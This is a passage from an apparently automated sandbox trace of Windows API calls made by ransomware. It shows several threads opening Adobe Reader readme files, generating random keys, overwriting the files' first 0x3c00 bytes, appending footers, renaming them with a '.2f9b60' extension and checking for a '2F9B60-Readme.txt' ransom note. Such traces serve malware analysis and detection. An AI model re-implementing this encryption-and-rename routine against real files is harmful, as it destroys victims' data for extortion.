returned 1 [0128.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46600) returned 1 [0128.243] NtQueryInformationFile (in: FileHandle=0x1664, IoStatusBlock=0x2919fb98, FileInformation=0x2919fba8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2919fb98, FileInformation=0x2919fba8) returned 0x0 [0128.244] NtSetInformationFile (FileHandle=0x1664, IoStatusBlock=0x2919fb98, FileInformation=0x2919fba8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0128.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d020) returned 1 [0128.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0128.252] FlushFileBuffers (hFile=0x1664) returned 1 [0128.254] CloseHandle (hObject=0x1664) returned 1 [0128.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85f210 [0128.274] wcscpy (in: _Dest=0x1b85f210, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0128.274] wcscat (in: _Dest=0x1b85f210, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0128.274] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0128.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0128.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867c40) returned 1 Thread: id = 891 os_tid = 0x1494 [0101.098] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmesky.htm")) returned 0x20 [0102.726] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm", dwFileAttributes=0x20) returned 1 [0102.812] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmesky.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x166c [0102.813] GetFileSizeEx (in: hFile=0x166c, lpFileSize=0x2daafdc0 | out: lpFileSize=0x2daafdc0*=17335) returned 1 [0102.813] SetFilePointerEx (in: hFile=0x166c, liDistanceToMove=0x43b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.813] ReadFile (in: hFile=0x166c, lpBuffer=0x2daafd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2daafd88, lpOverlapped=0x0 | out: lpBuffer=0x2daafd40*, lpNumberOfBytesRead=0x2daafd88*=0x4, lpOverlapped=0x0) returned 1 [0102.846] SetFilePointerEx (in: hFile=0x166c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e90 [0102.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ec0 [0102.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263710 [0102.846] NtQuerySystemTime (in: CurrentTime=0x2daafc80 | out: CurrentTime=0x2daafc80*=132462177083494000) returned 0x0 [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x2f518a9d [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x26f294ad [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x4f285f3 [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x4d485db3 [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x29bee300 [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x21192aed [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x11846c87 [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x5c2b6a52 [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x20a29336 [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x55975065 [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x75dfb218 [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x17b2876c [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x1459c6be [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x109409be [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x6f0720ff [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x6613ad41 [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x30e74b42 [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x1d9bfffb [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x7498e709 [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x36a0f790 [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x2078bb88 [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x799e09b1 [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x7d0213b6 [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x311b8435 [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x796ffdf2 [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x6ad537c7 [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x63337327 [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x42f18b94 [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x6b359a56 [0102.847] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x505c7d1 [0102.848] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0xfbcb519 [0102.848] RtlRandomEx (in: Seed=0x2daafc70 | out: Seed=0x2daafc70) returned 0x529dd123 [0102.856] SetFilePointerEx (in: hFile=0x166c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.857] ReadFile (in: hFile=0x166c, lpBuffer=0x20460f30, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2daafce0, lpOverlapped=0x0 | out: lpBuffer=0x20460f30*, lpNumberOfBytesRead=0x2daafce0*=0x3c00, lpOverlapped=0x0) returned 1 [0102.900] SetFilePointerEx (in: hFile=0x166c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0102.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e8f0 [0102.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202634a0 [0102.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202634a0) returned 1 [0102.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce6c580 [0102.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202634a0 [0102.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202633e0 [0102.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202633e0) returned 1 [0102.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e8f0) returned 1 [0102.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0102.901] WriteFile (in: hFile=0x166c, lpBuffer=0x1ce6c580*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2daafce0, lpOverlapped=0x0 | out: lpBuffer=0x1ce6c580*, lpNumberOfBytesWritten=0x2daafce0*=0x3c00, lpOverlapped=0x0) returned 1 [0128.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce6c580) returned 1 [0128.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20460f30) returned 1 [0128.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85a1b0 [0128.229] SetFilePointerEx (in: hFile=0x166c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0128.229] WriteFile (hFile=0x166c, lpBuffer=0x167040, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2daafd90, lpOverlapped=0x0) [0187.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059470 [0187.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867040 [0187.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134750 [0187.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134750) returned 1 [0187.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x43134750 [0187.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134780 [0187.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431347b0 [0187.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431347b0) returned 1 [0187.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867040) returned 1 [0187.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059470) returned 1 [0187.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1ce5ebf0 [0187.805] sprintf (in: _Dest=0x1ce5ebf0, _Format="%c%c" | out: _Dest="92") returned 2 [0187.805] sprintf (in: _Dest=0x1ce5ebf2, _Format="%c%c" | out: _Dest="8b") returned 2 [0187.805] sprintf (in: _Dest=0x1ce5ebf4, _Format="%c%c" | out: _Dest="1e") returned 2 [0187.805] sprintf (in: _Dest=0x1ce5ebf6, _Format="%c%c" | out: _Dest="a3") returned 2 [0187.805] sprintf (in: _Dest=0x1ce5ebf8, _Format="%c%c" | out: _Dest="9a") returned 2 [0187.805] sprintf (in: _Dest=0x1ce5ebfa, _Format="%c%c" | out: _Dest="21") returned 2 [0187.805] sprintf (in: _Dest=0x1ce5ebfc, _Format="%c%c" | out: _Dest="c6") returned 2 [0187.805] sprintf (in: _Dest=0x1ce5ebfe, _Format="%c%c" | out: _Dest="b8") returned 2 [0187.805] sprintf (in: _Dest=0x1ce5ec00, _Format="%c%c" | out: _Dest="0e") returned 2 [0187.805] sprintf (in: _Dest=0x1ce5ec02, _Format="%c%c" | out: _Dest="a0") returned 2 [0187.805] sprintf (in: _Dest=0x1ce5ec04, _Format="%c%c" | out: _Dest="9a") returned 2 [0187.806] sprintf (in: _Dest=0x1ce5ec06, _Format="%c%c" | out: _Dest="04") returned 2 [0187.806] sprintf (in: _Dest=0x1ce5ec08, _Format="%c%c" | out: _Dest="a9") returned 2 [0187.806] sprintf (in: _Dest=0x1ce5ec0a, _Format="%c%c" | out: _Dest="6a") returned 2 [0187.806] sprintf (in: _Dest=0x1ce5ec0c, _Format="%c%c" | out: _Dest="4a") returned 2 [0187.806] sprintf (in: _Dest=0x1ce5ec0e, _Format="%c%c" | out: _Dest="7f") returned 2 [0187.806] sprintf (in: _Dest=0x1ce5ec10, _Format="%c%c" | out: _Dest="2a") returned 2 [0187.806] sprintf (in: _Dest=0x1ce5ec12, _Format="%c%c" | out: _Dest="f0") returned 2 [0187.806] sprintf (in: _Dest=0x1ce5ec14, _Format="%c%c" | out: _Dest="40") returned 2 [0187.806] sprintf (in: _Dest=0x1ce5ec16, _Format="%c%c" | out: _Dest="04") returned 2 [0187.806] sprintf (in: _Dest=0x1ce5ec18, _Format="%c%c" | out: _Dest="85") returned 2 [0187.806] sprintf (in: _Dest=0x1ce5ec1a, _Format="%c%c" | out: _Dest="9d") returned 2 [0187.806] sprintf (in: _Dest=0x1ce5ec1c, _Format="%c%c" | out: _Dest="47") returned 2 [0187.806] sprintf (in: _Dest=0x1ce5ec1e, _Format="%c%c" | out: _Dest="42") returned 2 [0187.806] sprintf (in: _Dest=0x1ce5ec20, _Format="%c%c" | out: _Dest="d9") returned 2 [0187.806] sprintf (in: _Dest=0x1ce5ec22, _Format="%c%c" | out: _Dest="7c") returned 2 [0187.806] RtlInitAnsiString (in: DestinationString=0x2daafe08, SourceString="928b1ea39a21c6b80ea09a04a96a4a7f2af04004859d4742d97c" | out: DestinationString="928b1ea39a21c6b80ea09a04a96a4a7f2af04004859d4742d97c") [0187.806] RtlAnsiStringToUnicodeString (in: DestinationString=0x2daafdd8, SourceString="928b1ea39a21c6b80ea09a04a96a4a7f2af04004859d4742d97c", AllocateDestinationString=1 | out: DestinationString="928b1ea39a21c6b80ea09a04a96a4a7f2af04004859d4742d97c") returned 0x0 [0187.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b867740 [0187.807] RtlFreeAnsiString (AnsiString="9") [0187.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ebf0) returned 1 [0187.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134750) returned 1 [0187.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134780) returned 1 [0187.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167040) returned 1 [0187.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d30) returned 1 [0187.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a840) returned 1 [0187.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1b0) returned 1 [0187.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202634a0) returned 1 [0187.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260ec0) returned 1 [0187.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202636e0) returned 1 [0187.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263620) returned 1 [0187.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x42c23710 [0187.814] wcscat (in: _Dest=0x42c23710, _Source="928b1ea39a21c" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\928b1ea39a21c") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\928b1ea39a21c" [0187.814] wcscat (in: _Dest=0x42c23710, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\928b1ea39a21c.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\928b1ea39a21c.2f9b60" [0187.814] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\928b1ea39a21c.2f9b60", NtPathName=0x2daafdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\928b1ea39a21c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0187.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b7a5440 [0199.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5440) returned 1 [0199.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3c50) returned 1 [0199.656] NtQueryInformationFile (in: FileHandle=0x166c, IoStatusBlock=0x2daafe18, FileInformation=0x2daafe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2daafe18, FileInformation=0x2daafe28) returned 0x0 [0199.656] NtSetInformationFile (FileHandle=0x166c, IoStatusBlock=0x2daafe18, FileInformation=0x2daafe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0203.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c23710) returned 1 [0203.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0203.487] FlushFileBuffers (hFile=0x166c) returned 1 [0204.253] CloseHandle (hObject=0x166c) returned 1 [0208.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79ddf0 [0208.022] wcscpy (in: _Dest=0x1b79ddf0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0208.022] wcscat (in: _Dest=0x1b79ddf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0208.022] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0208.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0208.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867cc0) returned 1 Thread: id = 892 os_tid = 0x1498 [0101.099] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmeukr.htm")) returned 0x20 [0102.777] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm", dwFileAttributes=0x20) returned 1 [0102.896] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmeukr.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd78 [0102.896] GetFileSizeEx (in: hFile=0xd78, lpFileSize=0x2dbdf740 | out: lpFileSize=0x2dbdf740*=18837) returned 1 [0102.896] SetFilePointerEx (in: hFile=0xd78, liDistanceToMove=0x4991, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.896] ReadFile (in: hFile=0xd78, lpBuffer=0x2dbdf6c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2dbdf708, lpOverlapped=0x0 | out: lpBuffer=0x2dbdf6c0*, lpNumberOfBytesRead=0x2dbdf708*=0x4, lpOverlapped=0x0) returned 1 [0102.914] SetFilePointerEx (in: hFile=0xd78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ab0 [0102.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202629f0 [0102.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611c0 [0102.915] NtQuerySystemTime (in: CurrentTime=0x2dbdf600 | out: CurrentTime=0x2dbdf600*=132462177084274000) returned 0x0 [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x48268001 [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0xd1774f2 [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x2f0681b0 [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x4edcb1fb [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x3931049a [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x35da9ce6 [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x7803ec3e [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x3b9e67e0 [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x10b02919 [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x64bb43ff [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x65684a41 [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x448bda9d [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x52eb946c [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x64f703a3 [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x2f3874b4 [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x71baacc7 [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x48a09f47 [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x19d4f8c8 [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x21d69026 [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x6d601f4b [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0xbff4fb8 [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x1b4f8e56 [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x747b7c12 [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x66a1be3f [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x6209d774 [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x3691d6ee [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x5c21a092 [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x59b62599 [0102.915] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x1459c6be [0102.916] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x7e1ebf16 [0102.916] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x58a44c23 [0102.916] RtlRandomEx (in: Seed=0x2dbdf5f0 | out: Seed=0x2dbdf5f0) returned 0x7b5c589d [0102.925] SetFilePointerEx (in: hFile=0xd78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.925] ReadFile (in: hFile=0xd78, lpBuffer=0x41f578d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2dbdf660, lpOverlapped=0x0 | out: lpBuffer=0x41f578d0*, lpNumberOfBytesRead=0x2dbdf660*=0x3c00, lpOverlapped=0x0) returned 1 [0102.954] SetFilePointerEx (in: hFile=0xd78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0102.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503790 [0102.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b10 [0102.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262b10) returned 1 [0102.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f6a520 [0102.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b10 [0102.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262030 [0102.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262030) returned 1 [0102.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503790) returned 1 [0102.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0102.955] WriteFile (in: hFile=0xd78, lpBuffer=0x41f6a520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2dbdf660, lpOverlapped=0x0 | out: lpBuffer=0x41f6a520*, lpNumberOfBytesWritten=0x2dbdf660*=0x3c00, lpOverlapped=0x0) returned 1 [0128.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f6a520) returned 1 [0128.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f578d0) returned 1 [0128.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85acf0 [0128.754] SetFilePointerEx (in: hFile=0xd78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0128.754] WriteFile (in: hFile=0xd78, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2dbdf710, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x2dbdf710*=0x10c, lpOverlapped=0x0) returned 1 [0128.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c4e0 [0128.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e210 [0128.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a990 [0128.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a990) returned 1 [0128.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85a990 [0128.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a960 [0128.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e60 [0128.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264e60) returned 1 [0128.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e210) returned 1 [0128.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c4e0) returned 1 [0128.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9e930 [0128.757] sprintf (in: _Dest=0x1cd9e930, _Format="%c%c" | out: _Dest="49") returned 2 [0128.757] sprintf (in: _Dest=0x1cd9e932, _Format="%c%c" | out: _Dest="62") returned 2 [0128.757] sprintf (in: 